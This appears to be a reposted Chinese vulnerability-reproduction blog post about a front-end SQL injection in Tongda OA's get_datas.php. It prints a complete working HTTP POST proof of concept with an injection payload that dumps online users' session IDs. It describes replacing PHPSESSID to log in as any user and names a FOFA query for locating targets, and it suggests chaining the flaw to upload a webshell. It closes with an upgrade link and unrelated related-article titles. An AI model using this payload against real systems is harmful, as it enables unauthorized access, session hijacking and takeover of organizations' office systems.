当前位置: 首页 > news >正文

通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]

文章目录

  • 通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

通达OA(Office Automation)是一款企业级协同办公软件,旨在为企业提供高效、便捷、安全、可控的办公环境。它涵盖了企业日常办公所需的各项功能,包括人事管理、财务管理、采购管理、销售管理、库存管理、生产管理、办公自动化等。通达OA支持PC端和移动端使用,可以实现随时随地办公,提高工作效率和协作能力。同时,它还具备高度可定制性和扩展性,可以根据企业的实际需求进行定制开发,满足企业的个性化需求。通达OA广泛应用于各类企业,帮助企业实现数字化转型,提高管理效率和竞争力。

攻击者通过对某OA系统进行代码审计,找到get_datas.php文件中执行sql语句的变量处于可控状态。并可以通过此漏洞获取在线用户的Session值。通过构造绕过特殊的sql注入语句,对在线用户Session记录进行任意查询。利用该漏洞可以实现任意用户登录。配合任意文件上传漏洞,上传webshell。

0x03 影响版本

通达OA(Office Automation)

0x04 漏洞环境

FOFA语法: app=“TDXK-通达OA”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC (POST)

POST /general/reportshop/utils/get_datas.php HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5 where 1={`\='` 1} union (select uid,sid from user_online where 1\={`=` 1})-- '1

3.复现

1.使用POST方式访问

/general/reportshop/utils/get_datas.php

payload为:

USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5 where 1={`\='` 1} union (select uid,sid from user_online where 1\={`=` 1})-- '1**

在这里插入图片描述2.通过获取到在线用户的Session,登录general/index.php 时替换里面的PHPSESSID值即可实现任意用户登录。
在这里插入图片描述
1,2步完成后直接回车,即可进入系统。
在这里插入图片描述

0x06 修复建议

目前官方已有可更新版本,建议受影响用户升级至最新版:

https://www.tongda2000.com/download/p2022.php

http://www.lryc.cn/news/226019.html

相关文章:

  • 苹果官方:所有国行iPhone 15系列都在中国生产!
  • Oracle 安装及 Spring 使用 Oracle
  • element-ui 表格 点击选中
  • 畅通工程之局部最小花费问题 (C++)
  • Sql 异常 + Error
  • 基于UNI-APP实现适配器并保证适配器和实现的调用一致
  • 使用jdk21预览版 --enable-preview
  • js中的跳转都有哪些格式
  • 无重复字符的最长子串
  • C语言--输入10个数字,要求输出其中值最大的元素和该数字是第几个数
  • 如何做好功能测试,提升测试质量和效率?
  • 高德地图添加信息弹窗,信息弹窗是单独的组件
  • Apache Arrow优点
  • 【Linux权限:系统中的数字锁与安全之门】
  • 笔记本电脑的麦克风没有声音
  • 20道简单的投资数学逻辑
  • 【Spring】事务实现原理
  • 人工智能基础_机器学习024_梯度下降进阶_L1正则可视化图形---人工智能工作笔记0064
  • 媒体聚焦丨四维图新旗下杰发科技王璐:设计决定芯片质量
  • 动态规划基础篇(LeetCode每日一题计划)
  • 智慧商业:探索分布式云技术为企业创造商业价值,减少成本,提升生产力的秘诀!
  • Anaconda安装gdal
  • vite基础学习笔记:14.路由跳转(二)携带query参数
  • 立体相机标定
  • mixin混合类的接口实现
  • 前端小技巧: TS实现EventBus自定义事件
  • Django之三板斧的使用,全局配置文件介绍,request对象方法,pycharm链接数据库,Django链接数据库,ORM的增删改查
  • 医学影像系统源码(MRI、CT三维重建)
  • 【uniapp】仿微信通讯录列表实现
  • [MT8766][Android12] 增加应用安装白名单或者黑名单